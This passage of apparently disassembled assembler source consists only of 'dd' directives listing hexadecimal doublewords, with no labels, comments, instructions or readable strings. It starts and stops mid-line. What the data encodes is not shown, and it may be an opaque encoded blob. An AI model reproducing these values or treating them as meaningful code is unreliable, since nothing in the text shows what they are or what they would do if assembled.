9379A7Ah, 89715Ch, 425893B8h, 1010BCFh, 0F3431B55h dd 0F8BA8C06h, 0B024CB91h, 0E300FBA3h, 0EB62243Dh, 2D030697h dd 0A6D0C4CEh, 6D064702h, 40078FE9h, 6BCF70h, 0D4B76A35h dd 0A0D0B004h, 9C8E8428h, 20007675h, 7D7BDEC5h, 0D4B151h dd 835C6955h, 41C79D28h, 395FFB00h, 7BC96BBEh, 2B3A0263h dd 2982661h, 649880C3h, 130024A9h, 8365CA32h, 8F4E0Dh dd 102E3ADAh, 1BC741D8h, 29CC7E0Eh, 43E00033h, 285289h dd 457583Eh, 5F936F9Fh, 30E7139h, 0DE5BC4DFh, 0BEB5A83Bh dd 1DC900D0h, 0A87FEAADh, 7601AF79h, 5E5D1F13h, 52D86D4Fh dd 337E00ACh, 8E32AAD8h, 44003A89h, 0D4E4C620h, 0FCA06221h dd 4A0E0B43h, 9B80555Bh, 5738CCFBh, 79141748h, 0AE0E8BFCh dd 2058A545h, 1EB36653h, 71D100AFh, 0D34901CCh, 6724EE16h dd 7009487h, 72669776h, 3F05E041h, 6B80AE44h, 4F408D17h dd 2D5C0FFAh, 800E78EAh, 0C76E45D2h, 0D5F00A96h, 0A6847Ch dd 3052AC3Eh, 7F16AA4h, 19945D48h, 0BDF01612h, 4009BA9Dh dd 0E7A07A36h, 0A6004753h, 0AA6F569Fh, 5844292Ch, 785425A2h dd 0BF99243Dh, 89060064h, 3B25EF75h, 70DA8400h, 1DB72874h dd 7AB500C3h, 79C629E7h, 5E709480h, 22364800h, 2F380399h dd 5B5AEA75h, 0B3AC4Ch, 0ABB02014h, 685C0Ah, 3B8D979Ah dd 9C10959Fh, 0DCFBE07h, 37707625h, 1ADC91C5h, 1005F219h dd 0F329A880h, 16004AA3h, 81328D56h, 3F157C0Ah, 7CE469Eh dd 0D064D9D4h, 90298259h, 8603BA00h, 6CA699A9h, 4B02038Ah dd 4985EBCFh, 0C3B715F8h, 0AD771300h, 14EDC50h, 58BB000Ah dd 7E4BEDF6h, 8D485707h, 0B1D30244h, 58CC1E85h, 0C0CEFE64h dd 0B7B3EFA6h, 89000C30h, 454879DBh, 0F0D2A3CFh, 8D5507FEh dd 0D0D5E0A8h, 0DC6E92F3h, 531DDB00h, 21A3ED30h, 67890397h dd 0AA29065Fh, 554AB3D0h, 6B5ED500h, 0BD1A455Ah, 3B6500B8h dd 98415857h, 3800613Dh, 0C2D82A03h, 0C5186Ch, 0A1F174Dh dd 0E1C91AB9h, 59CD73Bh, 0D8C06EB5h, 0ECA98C05h, 0DACF9490h dd 0CD37004Eh, 85309123h, 83041DB6h, 6AE83B3Eh, 71FAECC2h dd 9724811Ch, 0F462A4A1h, 0D8096306h, 0F46FEE29h, 0ABCE00A8h dd 0EB930AC2h, 16926100h, 811AD68Eh, 7011B090h, 0E53F2EE0h dd 9D1800E2h, 0EDFA77B5h, 0D8CC0906h, 74A073CAh, 0B467003Fh dd 129F88D5h, 3A006617h, 33072679h, 28C7E350h, 0E49CF2h dd 0F937C3C9h, 0EF6BA5B5h, 0F7494E00h, 3DD8D97Ch, 1EEEDAh dd 5E35F24Bh, 0F6AD0DCCh, 5BE5BC00h, 0B6B106B3h, 8A1A00F3h dd 0F17493D4h, 34E6BEDFh, 0DD42C901h, 0B0D31F7Ah, 34C2CDCh dd 0B34A4015h, 101CCD03h, 96401C56h, 2BF4E057h, 42350073h dd 69A67862h, 0F83D8DCCh, 0C63C00A3h, 0EACABE5Fh, 0D1200094h dd 0AE26C05Bh, 0B971B819h, 0CE0F4F00h, 0C93E7974h, 435B0097h dd 61144610h, 390330A2h, 650DAEFFh, 2CC09C80h, 134582h dd 0D4C20F7Ah, 0AE11EA89h, 0BDF50300h, 0ECE61417h, 0DB0A04EFh dd 0C0FD4F6Ah, 6F925A3Bh, 58A85600h, 2D9C81CEh, 338E00A3h dd 34504A4Fh, 4300E490h, 637AB704h, 0B6CEBEh, 6838270Ah dd 6CA3D5DDh, 2BF99E00h, 420EB3DFh, 0D79F0017h, 0DD481EC7h dd 32B0A97Eh, 0ED39BC00h, 903B96DCh, 5DB21202h, 381CC02Bh dd 0AB1E6F48h, 0BD8080D5h, 0B89BDEDAh, 0B8F54FD6h, 6681D81h dd 156632C0h, 5C116D87h, 0E70020A5h, 19BA09B5h, 500FCDDBh dd 428A7B7Eh, 0C0A43A92h, 989C61h, 69FB8142h, 9664F9BBh dd 5B004EF4h, 0CFDE7AE1h, 411DC8h, 6F49EBA7h, 0D2A659C2h dd 9000B0F8h, 0CDD7D98Fh, 9058DE76h, 287A9040h, 2895EBh dd 0B6E92AB0h, 0C999C2C8h, 76BD6C00h, 7D8CB82Fh, 0ABCF2796h dd 0A19CF480h, 2770342Dh, 0E4839100h, 4162E6Ah, 0F19A00D9h dd 0CA5FDB74h, 0BFE0F568h, 0E685BA09h, 0C32C0086h, 16BBC8A0h dd 0EFECD8DBh dd 7CAA6A00h, 9E5C04BEh, 2FFF0BE8h, 17B8421h, 3C4430D5h dd 72D0B600h, 0C2D45971h, 52080021h, 0E28F0B36h, 88240586h dd 76853953h, 0D880896Ah, 2C274CDCh, 800C2087h, 56D0306Dh dd 0F012AC74h, 170024E2h, 5F23AB41h, 92690373h, 0B82BEF55h dd 0F02676F8h, 0C306849Ah, 693F108Bh, 98CD0048h, 77174857h dd 0EA0732E7h, 0E07B5F16h, 0D3154173h, 5D80269Dh, 40CC3860h dd 1F1AEE02h, 18D1706Ah, 0C344982Dh, 584ECD4h, 3CA0BC4Bh dd 0B960C611h, 0D01619F4h, 6080F850h, 66DA15h, 0BB1B68FCh dd 90467E86h, 0E094CB76h, 0F1951D00h, 0B421Fh, 9DC90E28h dd 8D5C24A4h, 0D25A0A0Fh, 43ADA097h, 0E0A7CBD1h, 60E2F965h dd 528EC14h, 0C47587B4h, 9474C0D2h, 0AE60D6FCh, 0D3E584B0h dd 0D0B081h, 0FEFB1BADh, 0B4DD5C8Bh, 39DAFC00h, 6A21A7B3h dd 0D73E0087h, 108C8FE1h, 0AF16B615h, 6C00A072h, 9BF4CC0Fh dd 78510CC8h, 0CDE9BA4Bh, 25F57300h, 7FAF832h, 2963035Eh dd 1490E7BFh, 5C7920F7h, 0B30906A5h, 0FF5032EAh, 6D9CB480h dd 1F00F981h, 0ECC479C2h, 19E39Eh, 78F642F7h, 0C0FD1DAEh dd 5B22381Dh, 20E42F8Fh, 0C517E959h, 0EE4B00E1h, 0DD454ABBh dd 3800D325h, 0E8FBDEBAh, 72512066h, 6AFC36h, 0CB55A4E1h dd 0D6E7B61Bh, 971D3A0Fh, 0F27F012Fh, 7F202A12h, 300F0FF5h dd 0EC405F90h, 2F92BC99h, 34002278h, 7B3682FBh, 752B68h dd 3A20AB26h, 0BC6D3D88h, 48E3F30Fh, 8FBE8E8Eh, 0D2C600C3h dd 399290h, 509EAF5Bh, 7A57DA69h, 0AB2E70F8h, 3F0089EEh dd 6014B64Fh, 7D6203DCh, 6F414B82h, 3869B100h, 521A2FAh dd 257601B4h, 0D31E866Ah, 0B58BFC71h, 83BE2801h, 992D0E9Ah dd 0EDB800FFh, 0DCA55436h, 3500F729h, 0BE05209Fh, 0C02A1E99h dd 53C80730h, 0AA0C4575h, 19F88B41h, 44353037h, 0E23B7A31h dd 8F660D39h, 40DCF915h, 6B4EDB6h, 0B3E801DEh, 0DA4EAFCFh dd 750BFCF3h, 9E192B0Bh, 68DC00FEh, 575E2Ah, 659B9D74h dd 0E942025Dh, 7A276000h, 50BA77FAh, 0B9CE0EABh, 0F9436A83h dd 21C83D1Eh, 4100E2BCh, 5EDC98F8h, 141625DFh, 0AC75E323h dd 2C080474h, 0C080590Ch, 40D6EBCEh, 14DCCF24h, 7EF4FA00h dd 53D368h, 17068781h, 6A085444h, 0EF722B00h, 7F6FD2B0h dd 69DE281Eh, 0DCF50082h, 717442CAh, 0E37EBFE8h, 37E49839h dd 0E79049F0h, 122B7D0h, 80CAD67Bh, 201AC61Ch, 0CD01F5CEh dd 0C37D1FC8h, 68E0A5C5h, 0B2026012h, 46BF365Eh, 0B149E1F2h dd 60B3000Ch, 0D5EE4364h, 7AB830EBh, 0B91647A1h, 5F68250Ch dd 0FE1F6823h, 0D998D7h, 0AC7C4DDAh, 0D8CD4AB9h, 0F8794503h dd 0B8675A32h, 49089CE5h, 0AF039CAEh, 0F266F64h, 5CC67110h dd 5938A101h, 0F865425Bh, 0CF2C2FE4h, 1003886h, 0D2138B1Ch dd 39A284Dh, 0E7FF00A4h, 7A2D463Ch, 0B72487AEh, 18297639h dd 0B50D8C22h, 0B1C9FDF6h, 46E9E4h, 0E0920426h, 0ECC34D03h dd 2F06B8B0h, 2423A1C8h, 174B0028h, 0E586799h, 9B0A7506h dd 843CEE9Eh, 0C1102D80h, 7C6C4DBDh, 85831E79h, 0F73280F2h dd 0C02FBBA7h, 0B5A1E000h, 19228197h, 65F600C5h, 71114A26h dd 98905305h, 0E292BF0Fh, 87D760C0h, 0C056ECF1h, 0FEF28A0h dd 3A0001E5h, 0F835AC26h, 3BB3312Eh, 0E95C92DFh, 64375A00h dd 0B657A438h, 0FC4C2F31h, 0F424707Ah, 0FDEB01BFh, 0CBC871B8h dd 0C305DC44h, 4ED85600h, 0A9D64A1Dh, 0E0C65AD7h, 5AE4AB22h dd 0CDB7FD00h, 2FDC8A67h, 0C492D2h, 5B38D5A6h, 0B37C944Fh dd 0DFE1E71Ch, 31B68B94h, 0B94C71C6h, 0C09EB6F4h, 0C9CBB50h dd 9F609733h, 1A2D0710h, 5C9040h, 887CB1F4h, 0A9A6825Eh dd 0AF3AEBFCh, 0E8B080CEh, 813AA21h, 60FC05B7h, 3D52D17h dd 69E404E4h, 0F84EA7E8h, 7555311Dh, 0CE461B00h, 0DEABDBh dd 3ABB7202h, 85B9792h, 81B2D500h, 0BF4CA6A5h, 60EEE951h dd 1D5C2FC0h, 8076033Ah, 7EE255C8h, 7926960Bh, 0AF00BCD6h dd 4BC27873h, 0CC231EA6h, 212E00EEh, 0F1771FEDh, 0E247D70Ch dd 0F0C48Bh, 132909C5h, 866B85F3h, 0BBF158h, 92F70BDFh dd 0A0F0E757h, 161090h, 3B4939A3h, 9E2D8243h, 9DE6C01h dd 0E1410BFEh, 243C30h, 0A8CF9906h, 0A9E6F82Dh, 4E420E16h dd 5CA3DE00h, 0E0927D1h, 0A885E37Eh, 0E4D740FEh, 1FB49844h dd 8162EA13h, 4DC42A04h, 0D101008Bh, 0E36718F7h, 1A402047h dd 0CD7E7D06h, 0E104499h, 0A22EF5D3h, 46414F80h, 8F021512h dd 7B4B5704h, 0DC68E126h, 9245B0F0h, 72902200h, 14652100h dd 13D1E955h, 3225895h, 51EDC003h, 62B05E25h, 207C55DFh dd 10018378h, 7E0A276Fh, 0AFC44608h, 8C131C63h, 0B2EA4E99h dd 4852B6E0h, 0EF71011Dh, 86F9E716h, 0AB051E00h, 66C96Eh dd 4BFD38C3h, 19D09C60h, 5FC14800h, 0D4B753C7h, 0F34F04CEh dd 881E9A31h, 2200C8C0h, 0FCC93285h, 86C49h, 0BC788C04h dd 0FB76445Fh, 0CAD0C267h, 32E6C5C0h, 122D00E5h, 508EB87Bh dd 0ED0E67F7h, 0E17A590Eh, 0AD8CC318h, 1FF87DD8h, 6DE69410h dd 0B0004676h, 698A9E9Fh, 2DCD00C8h, 83070BE3h, 6A7736D3h dd 0F1F51F07h, 0CB507241h, 51DB631h, 0AC8CEF18h, 22E307B7h dd 0E5A00F82h, 6646D98Bh, 9309B0A6h, 808E0224h, 1E27EB7Ch dd 0DB6D0047h, 52DC99D8h, 7007765Dh, 0BC4FB17Fh, 0EF80577Bh dd 0A5C405EEh, 0F77E8C03h, 0CC2B9EFBh, 0A9B6AC90h, 0E6DA00C7h dd 0C03164D3h, 54243D6Ah, 39D4F0h, 35F97576h, 0BB06C3h dd 0D319447Eh, 0ECD5E555h, 0E100BF7Ah, 0E8D63DA7h, 71CB84h dd 0AF91EF68h, 5A9869CDh, 35A5AB00h, 6441FD1Eh, 0FC8C00F2h dd 7F671A6Eh, 9D16BCC0h, 0A040BB92h, 2605A00Ah, 69241F6Eh dd 0CEFC0054h, 2D5837ACh, 0BA963300h, 48035A90h, 0BDB500EDh dd 25D1503Ch, 8500789Ah, 0DCDFFF7Ch, 1D08B6CEh, 28A26DF2h dd 76130FC0h, 0B660ACh, 7E8741E5h, 0DF3C9701h, 0BED870h dd 0D10F15ADh, 1C9DD0h, 0ABC1C3CAh, 0CE2C064Eh, 8E0329FAh dd 2A566A4Ch, 6439884Bh, 0F8120036h, 85BDDC9Fh, 0A130714Eh dd 43ACA0DDh, 0F441ECD8h, 7D400039h, 0B4C294DAh, 8C00D9C6h dd 0E3ACF08h, 27B8FAFh, 86828A78h, 0CC8238ADh, 20685AD0h dd 6F07CFC3h, 0E11CB2B8h, 70C5CE20h, 6D8200C9h, 121B55EEh dd 9300DEC7h, 0AD805EB4h, 22EB1Eh, 0A8C6BDC0h, 0E7356685h dd 0CE0B1800h, 6880DBF3h, 30421689h, 69C442B9h, 0E84A869Eh dd 0D556B360h, 54D62400h, 39153A02h, 21876192h, 80BCDD42h dd 98206A39h, 0E840688Eh, 3084E882h, 70B9F786h, 3C78504Bh dd 3AFC0F01h, 0DF67D9AFh, 0B1901047h, 1ED80444h, 2C61997h dd 0DF42E8FBh, 30683080h, 0BF287598h, 0E4004044h, 0E7506080h dd 1E4DCEEDh, 0A83CB9h, 13512B53h, 0FA098CC1h, 80269E97h dd 66B9E282h, 0F6560052h, 7B866FD0h, 0DC00641Ch, 4B50A59Ah dd 1E44CCECh, 24FF75E4h, 8CD18144h, 94CF6ED7h, 60C2146h dd 6AF7F969h, 488E07F0h, 0C0E8EBBEh, 0A6C56C16h, 0B543A000h dd 36B8525Ch, 6923F6Dh, 0DCFB0A1Fh, 8D3380B4h, 7548D0ABh dd 18A9A230h, 526A3Eh, 4DED71EAh, 0BED538D2h, 0E0FA4218h dd 4DCB8320h, 4D015050h, 736A35D7h, 1930809Dh, 50F52C5Ch dd 1FEC7D38h, 0F7E8837h, 0B86D42BBh, 0D2D0F040h, 1FF0714h dd 447006B4h, 0A2881B3h, 0E6779448h, 0AB6680B8h, 56CDB97Ah dd 0F8F6DA20h, 21FD6328h dd 890CE4CBh, 510372BBh, 4D6E0685h, 0D1B02A15h, 9A943A00h dd 33E9ED83h, 3491D9h, 8E82C8CDh, 0BA546492h, 0AD0643E8h dd 0DE073DB0h, 0EF353E71h, 3D43E2Ch, 53F54932h, 8B606040h dd 0ED87E200h, 0D8410370h, 17BE01ECh, 38754D2Ch, 1C1AEC36h dd 0CA0E2973h, 1F430102h, 11696704h, 59170FC0h, 4DC10053h dd 1344E14Ch, 2600FA61h, 54A9F31Fh, 2A2874h, 6F70D5D1h dd 0B311BCB5h, 0D898A000h, 0EFCF199Bh, 8F4F0099h, 0D23BE41Fh dd 0F70055AAh, 1C4D181h, 68E99009h, 604E1C3h, 10EA92DAh dd 0F165B1Bh, 0ECDEF9D8h, 0EF2020h, 526E794Ah, 62BA63DAh dd 0F75BC40Ch, 84F22911h, 427EE922h, 0F846088Fh, 0ED160848h dd 917FCE88h, 6007B7Bh, 324BAB64h, 3A88135h, 0C04918Eh dd 72F8ECAEh, 862E573Ah, 26032CF0h, 0D717CEADh, 9F5FD820h dd 0BE791D74h, 0CF0240C9h, 7FFC3E04h, 0C2062001h, 0BA252939h dd 7E803038h, 332890A1h, 0FA663B00h, 53B651C0h, 22E1005Fh dd 399932FDh, 43054AA2h, 0B79E6A4Bh, 93C0C400h, 1C1426E1h dd 0CE454CB2h, 0B3201C96h, 0DF887AF3h, 0A8E85907h, 9009DAE0h dd 986CE8h, 0B10D3361h, 0F3FDBC07h, 0A3F62875h, 0BF00C675h dd 81B57FD0h, 32E1271h, 0BA72E009h, 0EAE07697h, 0E6253FA2h dd 0DC040096h, 9175D3h, 363220BFh, 4DD55369h, 11209B60h dd 3886748Ch, 75007F6Eh, 646F7626h, 0D3008FA2h, 729EA70h dd 0FE3F222h, 569B3D7Dh, 86BD9C0h, 0D4008810h, 0C8AA8A12h dd 70C09A6Fh, 66940063h, 0D320A829h, 0D20037A4h, 0FBCF385h dd 0E6A05FAEh, 7DAFFA48h, 3F430002h, 0D1BB7F2Dh, 2E03EE95h dd 7457B7EFh, 87198840h, 0F3C4C60h, 0F5808038h, 0FDAAF295h dd 0DBF862BCh, 0F9CD1700h, 8DBE5EC3h, 0EF4D00E2h, 0A499091Fh dd 300B60Eh, 0EE8C4838h, 1411C8AFh, 0EC53B53Eh, 6783903Bh dd 7B5A364Ah, 0DFD651F8h, 39E01300h, 7C80723Fh, 0DCD40EE9h dd 6720F1CCh, 0EF1AB414h, 72B7655Ch, 0E276BF00h, 81C0DB7h dd 0CC800084h, 71EEECE8h, 9B0078C1h, 0E2C009BAh, 0F7A2135h dd 0F6A25716h, 0CE0E9200h, 0D11D532Dh, 83DC5847h, 81ABBA0Bh dd 0DE6C4670h, 18FE2D8h, 5068887Ch, 0F98917F1h, 0CD728062h dd 4ABFCB67h, 8218001Ah, 0A724CA2h, 0B67C9A4Fh, 0C03DCC00h dd 26DA4AE4h, 0B33B0077h, 7EC7CA98h, 0AE00051Ah, 0E6DE81DDh dd 2C04C9h, 0A11D90F0h, 0C5E87480h, 1C00C7EAh, 563BFF22h dd 27C8E0h, 0AF1A6B0Ah, 0B23CE93Fh, 96FE2C00h, 0EF12F024h dd 0A492005Ch, 57C0020Dh, 0A500D868h, 0B136831Bh, 2CC5D133h dd 807CDCF8h, 5D91BB7Eh, 0F67C10E2h, 1A544200h, 98338B3Dh dd 16EE00C4h, 0D4874FDCh, 410BFE59h, 80CA9C95h, 4E605A5h dd 336B004Bh, 19932D4Eh, 70F596F1h, 0C2128F8Ch, 0D0C5E6E9h dd 49E5AA80h, 0F77000E3h, 33D1F29Bh, 3700308Eh, 0D3257618h dd 159394h, 0E4B45C7h, 6EAB06C3h, 671BB600h, 0E0794818h dd 64CE0083h, 0EC4AAAE6h, 4512B4BAh, 0A000A6E8h, 96F032A5h dd 94C93FF2h, 2C5B7404h, 5272C071h, 0CB03A4A3h, 0F676775Fh dd 0BA600011h, 0B350457Bh, 34003722h, 19D7C053h, 1633213h dd 0BA433671h, 0FCA1C39Ah, 0E101AC51h, 0C1BBBD6h, 74205B5Fh dd 1F40013h, 89E9C7C5h, 0E6A11CFFh, 9B2120D6h, 9DB89525h dd 3219E400h, 40AC79D2h, 4311E256h, 0C80ADD00h, 3BD6B169h dd 87B60001h, 0CE29B07Ch, 8748C04h, 0EF7E5100h, 0D7C4FA20h dd 0ACA10149h, 0ED0DD9B4h, 0B6AFC805h, 0B40BF428h, 3EEEB900h dd 8806495Dh, 4FC1024Ch, 9D668275h, 0E0AFE441h, 543EA83Eh dd 0A0C804BFh, 0F480E712h, 3DEE52CFh, 3686A547h, 7C3B5617h dd 3C0078B4h, 92F850Fh, 35630707h, 0E0FAE55Dh, 6A9236E7h dd 0A3282C00h, 323FD14h, 60B93DF9h, 74DA6100h, 39930E45h dd 35485E00h, 0B11610B7h, 0F09000DFh, 0E111ACF4h, 0A500385Bh dd 48AB13BCh, 7CD42CCh, 0D940B961h, 0F2DFD09Dh, 0FA032265h dd 8C57FF3Ch, 0C03F014h, 0D990079h, 7526C223h, 740F721Ch dd 1E7F2A82h, 9DA65440h, 9C8699h, 0DC07E897h, 4F83AC35h dd 0D0B75872h, 0B03400FEh, 1E0CEBAAh, 0B8009184h, 7594828Dh dd 76CCA2Ah, 40CD1AE1h, 631ED07Dh, 5607206Fh, 0C9E27ED5h dd 0A6601CC0h, 86D70073h, 5DD8A061h, 0AC00436Eh, 95202246h dd 779C2ABh, 0C5E60EF9h, 281AF07Ah, 5E00D05Dh, 4609218Eh dd 148F9BFh, 0B27B107Fh, 0D8A06AB7h, 0FE00B8D5h, 0A1DA2779h dd 576411h, 0B27D540Fh, 56C5E5E4h, 39B89900h, 17785CCCh dd 67C000D3h, 4451E880h, 33004FA5h, 0FF6FDC71h, 0F735DDh dd 0C89F4C72h, 89CB7BC0h, 42874A00h, 4066324Eh, 3F0E00D0h dd 0D9A694Bh, 8D90BCCEh, 0BFE45F00h, 0EFEE4377h, 363C00A3h dd 0A623448Ch, 34026948h, 0C03AE5FCh, 27BA4074h, 5E7241h dd 0DC081EB9h, 0E1F97CB0h, 0C6F898A3h, 0DF00D435h, 8E893FCCh dd 69C42Fh, 164B179Fh, 0B46CA095h, 8AD4E001h, 26FF6579h dd 5AC6FCh, 52506B39h, 5F1BE2C5h, 0EABC4D00h, 0D4096C45h dd 810C00ABh, 64E00E37h, 84006F16h, 2D17A2Ah, 0ED59C3h dd 56DBBF0Ah, 0B48510D2h, 626D7704h, 7C0A91Eh, 4ACE7B03h dd 1339B814h, 9B00FDC0h, 0DD4D7562h, 18D7EEDh, 0BE3C7027h dd 0ECB9AECFh, 0FC007C3Fh, 0F9D19237h, 104A0Ah, 53620B8Ah dd 1657AE2Bh, 3C26A900h, 928CE561h, 2EE11CEDh, 6E8840DFh dd 4E8E03C9h, 0E5233E00h, 0E4C257A8h, 0A663DB3h, 0B19B8C83h dd 0AEE8E768h, 600081C4h, 7E890EE2h, 1F5218C3h, 890334B5h dd 0F300D6F1h, 5A914FFAh, 25790A03h, 0F05CD5CAh, 0F2975F5h dd 0F011975Fh, 5EA2E1C0h, 3A004525h, 37DF5778h, 0DB868Dh dd 1CB83E0Dh, 8C7D056h, 0DC2E7500h, 0FD70657Eh, 3E52585Bh dd 5168E100h, 0CE7438BEh, 0FA876B07h, 0E070B603h, 50E85741h dd 9EA63h, 0BA35EFA4h, 391B87AFh, 0A3CA4300h, 69DF2472h dd 2EB4008Fh, 0A47783FAh, 0D1051D6Dh, 600ABB86h, 0F56EF000h dd 35B81E7h, 0FA92C5Ch, 8EF814A6h, 693F6FA2h, 0CC520073h dd 29A0EE47h, 0D4A81E27h, 320D408Ch, 1767F8F4h, 0E455848h dd 0D22F44E1h, 7E8AEA04h, 0CDD7B480h, 0F7241733h, 80F21F3Fh dd 0EC0CF811h, 58248D88h, 0D101C651h, 499BBE34h, 17A65C0h dd 8B8161EDh, 0F8925397h, 4000B657h, 17764CE3h, 3BBE3608h dd 3C79D584h, 0E100748Dh, 0F42785ACh, 0D8F8A7BCh, 0A900CF70h dd 0C306B2DCh, 2E23C18Ah, 88B8B6h, 0A1AB7769h, 340078D8h dd 5F2A0B0Ch, 0F7A246h, 0CD87984Ah, 0F879DFF6h, 1BD1EA07h dd 6AA7E1F1h, 6B0F6100h, 0AE3B0042h, 56DC2549h, 7216C9EFh dd 0EFBD9A8h, 0D6C03FDFh, 0DE479675h, 0B0F0FC31h, 16F43C71h dd 793400A3h, 6AA79A89h, 5300605Ch, 299D1008h, 0F49B31Bh dd 7105C23Bh, 45B86DE0h, 0E307676Eh, 781943F4h, 663185B0h dd 0B6E93CC0h, 0DFF5CD00h, 1E96EB52h, 0B9070100h, 6229DB30h dd 0F4E454C7h, 0AB8F0AA6h, 2FD98F7h, 0BC6B406Ah, 61107C60h dd 38820604h, 90C11FC8h, 0CC24F773h, 8333005Ch, 25EF4ABBh dd 7700D35Eh, 11C6D531h, 30B47DE3h, 43606021h, 34749490h dd 0C08570CFh, 3F22E098h, 0E5EC0597h, 79C9A84h, 326CB310h dd 0A6031AE0h, 2883A08Ch, 34C38323h, 92C794E0h, 0ED5F83Dh dd 0A004624Eh, 0ED51BA13h, 0F9BE03B4h, 152D7622h, 3B46E5E0h dd 0A2A6C61Bh, 402BC060h dd 3F323BE1h, 0EE93A1E0h, 0C08347B5h, 1FA6DAE2h, 9D4CCC8Bh dd 0A01468B4h, 3E0182AEh, 8D2881E3h, 0A19A280Ch, 0EE77360h dd 13EBFA40h, 0C270EF8Ah, 8C9024EDh, 52003BE4h, 3F0B02F7h dd 401C5Dh, 0A02813ECh, 0A6D85A21h, 8D7BB874h, 1EE46009h dd 80360058h, 71CE1A72h, 3B48000Bh, 5D5026B8h, 8273C560h dd 0FB77C700h, 34A78E6Ch, 486F829h, 6E09174Ch, 81E4C685h dd 815D5E00h, 0E5D0786Ch, 125CE263h, 72BFC3h, 0DDF19DC1h dd 0B55CEDB3h, 0B2F70085h, 9873294Eh, 61AE18DEh, 0B95E4871h dd 0A41B51C0h, 3CF3331Ch, 860173DDh, 9312DB88h, 55AFE0DEh dd 383A5303h, 127026E1h, 27EC2830h, 4EB5C044h, 617A6CB4h dd 3BEDA302h, 854DE22Bh, 34009E10h, 3A77EC01h, 4B9F38EFh dd 0B81FF183h, 20065EF6h, 51C6F7F3h, 0AD920039h, 3A7BA9B9h dd 4FB8E07Fh, 699E1F00h, 27DE0131h, 0EB281882h, 3CF331E1h dd 69B3F802h, 40250561h, 358E730h, 74DE642Eh, 6EB8E60Ah dd 2C54DF33h, 2186048h, 4E106D3Eh, 40241628h, 357B00FDh dd 28D3F58h, 0A6F9CB60h, 1D1EC9h, 1569A9C8h, 0DC37AF9Dh dd 0D3CF0313h, 8EF34702h, 6B76E090h, 0EA810013h, 973ED1Fh dd 0E300CFEFh, 43353BDFh, 179B72h, 77F7A165h, 0FA4936CBh dd 0BA1E4700h, 6C40720h, 0DB6F007Eh, 7ACDA46Bh, 3600EAD0h dd 0D613DED4h, 0ECD229h, 4D28B0B2h, 5D7C3412h, 83DC900h dd 0B5986BDAh, 0E79B008Ah, 33F0F3D2h, 0FD3ABF95h, 0F9118045h dd 9DDD1E90h, 55E103C5h, 64C25C29h, 814B2C00h, 0DCD5374Ah dd 0BCD300CBh, 0F9D06A28h, 3F6B3952h, 6D00574Ch, 0CCA181E0h dd 0B3AF100h, 2B98CF32h, 1351E8Fh, 67424385h, 0B7C0D3BAh dd 0EF7C4F1Eh, 985D3200h, 0F986D024h, 0F65F0759h, 0D0A4C3D7h dd 3833514Ah, 53CC2900h, 0ECB597FBh, 9E7C3E7Dh, 7DED229Eh dd 0A0D71E0Eh, 7F858C20h, 42E0BC08h, 0DEB41800h, 3F3EF8A7h dd 0A54B002Eh, 1A68F25h, 2D001A30h, 0A4C98965h, 4786ABBh dd 0CF1DE1F0h, 7337C081h, 421D040Eh, 2EC5DCFDh, 0DC00D2A1h dd 0EFE9B91Ch, 783E0050h, 2FA3F494h, 77389AB2h, 0DB3D00C1h dd 0AB5F9D43h, 0BEF10FB8h, 7CE047D1h, 0EEA7F37Ah, 34F05Ch dd 216E63AAh, 1F8C325h, 34FDC249h, 806B5238h, 4EC69AF0h dd 35E7814h, 0F52EE619h, 43E8C025h, 740099CFh, 0A1D81E0Ch dd 0AC1115h, 8B32187Fh, 9E69BFF9h, 0BCD48E01h, 35FB0D0Ch dd 5883D4h, 503BC9F4h, 952156A1h, 0ACF38E1Ch, 0EC5DA340h dd 0C71566B5h, 97D97E60h, 0DC1BC025h, 0F6093C4h, 0F0275118h dd 297768C8h, 0DC3E00C4h, 0A3BED45Ch, 0F37D07F6h, 49CD2D00h dd 819F37F2h, 5DD100BDh, 42181FB7h, 32003E6Bh, 29C6A0DDh dd 99DFABh, 92CA6895h, 0C5D0018Eh, 81182300h, 0D246B8Ah dd 0CCDF5012h, 0EBFB0939h, 0E80D297h, 0F2C44925h, 8C12F726h dd 3E7B2600h, 18704BBDh, 76EDA7DCh, 0E873B7CAh, 0F6E3EC00h dd 2B0E0C3Eh, 489092h, 5E17DECCh, 0AA367CBFh, 73607175h dd 6965B1D8h, 0E460095h, 0A4C6FC8Eh, 0EE004B20h, 0AAE663ACh dd 34CF65h, 1B0A42FBh, 0F83E729Dh, 1D6CA148h, 8D49EA48h dd 9718009Fh, 14430DE2h, 847FA964h, 0F0542300h, 0BB603D02h dd 6039BE0h, 347E8525h, 60809CF6h, 0F6B3AEE3h, 1E8A0017h dd 1327DF2Ch, 880A1820h, 0C4286DD1h, 6080AB91h, 0C533E39Bh dd 843F713Bh, 0ABF40C95h, 2C205897h, 43284Ch, 0FCAEE11Dh dd 67702A63h, 0ACEAD728h, 12041F00h, 3DAC916Eh, 0E9AF03C9h dd 9F6557ABh, 4BA676C8h, 174140C0h, 0C516C1Dh, 8267AEEBh dd 7D0058D8h, 88750BB2h, 0D46EFAh, 34146896h, 181D1549h dd 0DD9F631Ch, 1173D40h, 0C20A1AEh, 391F64CBh, 0AF005858h dd 5CF1D1EEh, 3F32E9Eh, 0F436802Dh, 0D28041AEh, 0FC0E8CA7h dd 0E035F0C7h, 6B154B08h, 58F50031h, 0C2E2B67Eh, 201C2204h dd 0BF800367h, 0A95CB08Ah, 0FFF600ECh, 89F8D89Ch, 5650CDFEh dd 19009FA6h, 0CB3EB26Fh, 0A7965Dh, 0D8CF73E3h, 0AD260B0Ch dd 483A3000h, 0A5FC6A36h, 0BC1600C6h, 0ACA0BBDBh, 0D6505274h dd 383DDEF4h, 0D22504A9h, 44D0C1B8h, 307170h, 975E391Ch dd 8F6EDB57h, 0D282B700h, 34522441h, 0A2833D30h, 7CEFB8Eh dd 8B53CDE0h, 1201F2D4h, 290578AFh, 1F057F0h, 0D2F0A9h dd 309B4E84h, 0E64CCA98h, 37F5B512h, 58336E00h, 664DDEh dd 64088240h, 7E3C1469h, 4896CA24h, 0B9AF380h, 307D9C05h dd 68A87C42h, 5607B0C9h, 98DAFA43h, 7BF35461h, 8976E840h dd 0EFAC00FBh, 5FC60342h, 0D8A04790h, 72B07C80h, 211C6D0Eh dd 0CDE0007h, 2E9A4AF6h, 39DC5ABAh, 99BCD200h, 0E541399Eh dd 7349F48h, 0F3318FFAh, 33307727h, 0C43B144h, 0A1647B09h dd 0BA00C452h, 0E0202EC6h, 4A7401Fh, 0EBA0F1E4h, 11BC803Ah dd 73007FD2h, 2E93EF9Ch, 75B59B4h, 0F3C5E097h, 90C92745h dd 